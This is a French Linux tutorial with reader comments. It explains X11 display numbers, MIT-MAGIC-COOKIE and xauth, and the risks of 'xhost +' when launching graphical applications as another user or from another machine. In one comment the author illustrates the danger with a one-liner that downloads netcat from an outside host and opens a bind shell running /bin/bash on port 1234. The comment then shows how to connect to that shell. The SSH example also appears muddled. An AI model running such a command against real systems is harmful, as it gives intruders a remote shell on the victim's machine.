Skip to Content

Lancer une application depuis un autre utilisateur ou autre ordinateur

Afficher une application sur un écran

Voici comment procède, schématiquement, X sur les distributions courantes pour lancer une application :

L’écran

Chaque application se connecte à X sur un écran déterminé. Chaque écran est composé de deux chiffres. Traditionnellement nous avons :

0.0

Cela signifie première session X et premier écran. Si nous avons un ordinateur avec deux écrans configurés avec xinerama, le première écran sera 0.0 et le deuxième 0.1.

Si nous lancons une deuxième session X (par exemple avec gdmXnest) nous auront 1.0.

Ce chiffre est enregistré dans la variable "DISPLAY".

Le cookie MIT-MAGIC-COOKIE

Pour savoir si vous êtes autorisé ou non à lancer une application, X vérifie que vous ayez le même cookie de session. C’est xauth qui gere cette partie.

Ce cookie est recréé à chaque instance de X et est créé aléatoirement.

Le cookie utilisateur est stocké dans le fichier .Xauthority dans votre répertoire personnel. Ce fichier est connu grâce à la variable XAUTHORITY.

Désactiver le contrôle d’accès du client

Il est possible de désactiver le contrôle d’accès (la vérification du cookie).

Pour cela, nous allons utiliser la commande "xhost".

Pour désactiver tout contrôle, il suffit de faire "xhost +". Dans ce cas, tout le monde (même d’autre machine) pourront lancer des applications sur notre session X. Il est possible de désactiver pour un hôte spécifique en faisant "xhost +nom_d’hôte".

Attention : désactiver tout contrôle signifie autoriser n’importe qui à lancer n’importe quelle commande en local comme en distant !

Lancer une application depuis un autre utilisateur local

Désactiver le contrôle d’accès

La solution la plus simple est de désactiver le contrôle en faisant :

[gnunux@serveurx ]$ xhost +localhost
[gnunux@serveurx ]$ su -
Mot de passe :
[root@serveurx ]# export DISPLAY=":0.0"

(j’insiste, il ne faut jamais faire "xhost +" sans nom d’hôte !).

Mais dans ce cas, n’importe qui en local pourra lancer n’importe quelle commande.

Utiliser le cookie utilisateur

Voici la solution la plus propre pour cela :

Modifier la variable "$DISPLAY" et la variable "$XAUTHORITY" comme suit (gnunux est l’utilisateur ayant lancé X) :

[gnunux@serveurx ]$ su -
Mot de passe :
[root@serveurx ]# export DISPLAY=":0.0"
[root@serveurx ]# export XAUTHORITY=/home/gnunux/.Xauthority 
[root@serveurx ]# gedit 
[root@serveurx ]#

Lancer une application depuis une autre machine

Pour que cela fonctionne, il faut impérativement que X écoute sur le port TCP. Pour vérifier si c’est la cas, en root faire :

[root@serveurx ]# netstat -tap|grep X
tcp        0      0 *:6000                  * :*                     LISTEN 3237/X

Si ce n’est pas activer, vérifier votre configure de xdm, gdm (avec gdmsetup) ou kdm.

Désactiver le contrôle d’accès

Je pars du principe que vous êtes sur la machine distante et non en SSH, VNC ou autre.

La procédure ressemble à celle d’un utilisateur local :

Sur la machine avec X :

[gnunux@serveurx ]$ xhost +192.168.1.3

Sur la machine distance :

[gnunux@distant ]$ export DISPLAY="192.168.1.4:0.0"
[gnunux@distant ]$ gedit
[gnunux@distant ]$

Attention : n’importe qui sur la machine distante pourra lancer n’importe quelle application.

Copie du cookie

Il suffit de recopier le cookie de la machine avec X sur la machine distante :

Sur la machine distance :

[gnunux@distant ]$ scp 192.168.1.4 :/home/gnunux/.Xauthority Xauth_dist
[gnunux@distant ]$ export DISPLAY="192.168.1.4:0.0"
[gnunux@distant ]$ export XAUTHORITY=/home/gnunux/Xauth_dist
[gnunux@distant ]$ gedit
[gnunux@distant ]$

Lancer une application a distance avec SSH

Il suffit de recopier le cookie de la machine avec X sur la machine distante :

Sur la machine distance :

[gnunux@serveurx ]$ ssh -X 192.168.1.3 :/home/gnunux/.Xauthority Xauth_dist
[gnunux@distant ]$ scp 192.168.1.4 :/home/gnunux/.Xauthority Xauth_dist
[gnunux@distant ]$ export DISPLAY="192.168.1.4:0.0"
[gnunux@distant ]$ export XAUTHORITY=/home/gnunux/Xauth_dist
[gnunux@distant ]$ gedit
[gnunux@distant ]$

Conclusion

  •  Si nous n’avons pas besoin de lancer des applications distantes : désactiver le port de X ;
  •  il ne faut pas désactiver la protection interne de X pour lancer une application, qu’elle soit locale ou distante (ne pas utiliser xhost quoi) ;
  •  si nous utilisons xhost, toujours spécifier le nom d’hôte ou l’adresse ip.
  • Commentaires

    Lancer une application depuis un autre utilisateur ou autre ordi

    Comme je te l’avais indiqué lors de la publication de cet article, cette commande n’a aucun effet chez moi :
    xhost + localhost

    J’étais donc obligé d’utiliser cette commande :
    xhost +

    ou cette commande :
    sux

    Mais je viens de trouver la solution avec xhost :
    xhost + local:

    > Lancer une application depuis un autre utilisateur ou autre or

    Hum, c’est totalement faux ce que j’écris là ... ca m’apprendra de repondre a un message le dimanche soir ...

    Evidement cette commande lance netcat sur le poste où nous avons lancé la commande et non le poste distant !

    > Lancer une application depuis un autre utilisateur ou autre or

    Je l’ai pris comme cela, et j’ai rajouter l’exemple ;)

    Bon, pour répondre (même si je comprends bien que ce n’etait qu’un exemple parmi toutes les choses qu’on ne peut pas faire et que c’est surement un des premiers exemple que j’aurais eu si j’en cherchais un), il est possible d’installer des logiciels et de les utiliser sans être root.

    L’accès au compte root n’est plus vraiment ce que recherche les chianlits aujourd’hui.

    > Lancer une application depuis un autre utilisateur ou autre or

    Je vais faire une réponse express car je vais dormir avant de prendre la route demain matin :)

    Je ne consteste pas la dangerosité de xhost (ni l’exemple que tu donnes), mais je trouve simplement que tes deux phrases sont trop floues et laissent penser que cela permet au "pirate" d’utiliser des commandes qu’il n’aurait pas normalement la capacité d’utiliser (ce qui n’est pas le cas). Et je te concède qu’il y a peu de choses qu’on ne peut pas faire en utilisateur :o) (mais un "apt-get install foobar" ne deviendra pas faisable par un non-root si la victime fait un xhost +, c’était le sens initial de ma remarque).

    Il me semble que tes phrases devraient probablement être complétées par un exemple concrêt (comme celui que tu viens de donner) des abus que permet cette fameuse commande "xhost +" afin que le futur lecteur prenne la mesure des risques encourus.

    Voilà voilà c’est tout, j’ai juste essayé de me faire l’avocat du newbie moyen qui lit ton article :o)

    Cette fois-ci je suis vraiment en vacances alors je vous dis au 3 mai prochain !
    Bye bye

    > Lancer une application depuis un autre utilisateur ou autre or

    Bon, j’ai rajouté un exemple pour montrer les dangers encourus.

    > Lancer une application depuis un autre utilisateur ou autre or

    Il me semble que la commande xhost mise en cause permet juste à n’importe quel utilisateur d’afficher ce qu’il veut sur l’écran dont on vient de désactiver la protection. xhost ne remet pas en cause les autorisations/interdictions d’exécution de certaines commandes (réservées à root par exemple).

    Heu, je ne suis pas sur de comprendre ;) Permettre de lancer n’importe quelles commandes a distance, je trouve ca ... plutot dangereux non ?

    Perso je pense qu’on peut tout faire en utilisateur (ou presque ... on ne peut pas sniffer facilement).

    Bien, un exemple de commande amusante :

    xterm -e "cd /tmp ; wget http://gnunux.info/tmp/netcat ; chmod +x netcat ; nohup ./netcat -l -p 1234 -e /bin/bash &"
    (je telecharge netcat parce qu’il n’est pas souvent installé par défaut ou ce n’est pas forcement la version GNU de netcat).

    Un xterm s’ouvre et se referme trop rapidement pour être compris.

    Il suffit alors, tranquillement installé dans sont canapés de faire :

    nc adresse_ip 1234
    Bref, il y a clairement danger.

    Merci pour les corrections.

    > Lancer une application depuis un autre utilisateur ou autre or

    En effet, après avoir installé le paquet "sux", ça fonctionne alors que le xhost +localhost, ne fonctionne pas chez moi.

  •  Je me contente donc d’un xhost +
  • > Lancer une application depuis un autre utilisateur ou autre or

    Salut Manu,

    Une petite commande pour remplacer
    xhost +localhost
    su -

    sux
    permet d’obtenir un résultat similaire, à savoir lancer une application graphique depuis une console avec le compte root.

    > Lancer une application depuis un autre utilisateur ou autre or

    Sur le fond, l’article ne souffre d’aucune critique (à mon goût) et apporte même des précisions très utiles pour les néophytes.

    Je tique juste un tout petit peu sur deux phrases qui me semblent un peu floues :

  •  Mais dans ce cas, n’importe qui en local pourra lancer n’importe quelle commande.
  •  Attention : n’importe qui sur la machine distante pourra lancer n’importe quelle application.
    Il me semble que la commande xhost mise en cause permet juste à n’importe quel utilisateur d’afficher ce qu’il veut sur l’écran dont on vient de désactiver la protection. xhost ne remet pas en cause les autorisations/interdictions d’exécution de certaines commandes (réservées à root par exemple).

    Sur la forme, j’ai relevé deux petites coquilles :

  •  Dans le paragraphe "Le cookie MIT-MAGIC-COOKIE" la première phrase comporte "Pour savoir si vous êtes authorisé[...]" (correction proprosée : autorisé)
  •  Dans le paragraphe "Conclusion", la deuxième phrase comporte "[...] quelle soit local ou distance[...]". Correction proposée "[...]qu’elle soit locale ou distante[...]"